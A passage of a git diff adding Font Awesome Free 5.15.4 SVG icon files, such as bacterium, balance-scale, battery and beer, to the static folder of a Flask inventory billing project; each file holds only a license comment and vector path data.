21.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacterium.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacterium.svg new file mode 100644 index 00000000..bbac42dd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bacterium.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bahai.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bahai.svg new file mode 100644 index 00000000..63454ee7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bahai.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-left.svg new file mode 100644 index 00000000..d4d0c12d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-right.svg new file mode 100644 index 00000000..fc9ea2b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale.svg new file mode 100644 index 00000000..e866274c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/balance-scale.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ban.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ban.svg new file mode 100644 index 00000000..716ce003 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ban.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/band-aid.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/band-aid.svg new file mode 100644 index 00000000..fbf308b0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/band-aid.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/barcode.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/barcode.svg new file mode 100644 index 00000000..87eacc87 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/barcode.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bars.svg new file mode 100644 index 00000000..e0b17bb2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baseball-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baseball-ball.svg new file mode 100644 index 00000000..7bb827ac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/baseball-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/basketball-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/basketball-ball.svg new file mode 100644 index 00000000..9d730a62 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/basketball-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bath.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bath.svg new file mode 100644 index 00000000..386b49f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bath.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-empty.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-empty.svg new file mode 100644 index 00000000..1fd527ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-empty.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-full.svg new file mode 100644 index 00000000..722109d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-half.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-half.svg new file mode 100644 index 00000000..b0e1d292 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-half.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-quarter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-quarter.svg new file mode 100644 index 00000000..73ff149c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-quarter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-three-quarters.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-three-quarters.svg new file mode 100644 index 00000000..7040d95e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/battery-three-quarters.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bed.svg new file mode 100644 index 00000000..d9e4427a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/beer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/beer.svg new file mode 100644 index 00000000..8aa0b852 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/beer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell-slash.svg new file mode 100644 index 00000000..c47a45fe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bell-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 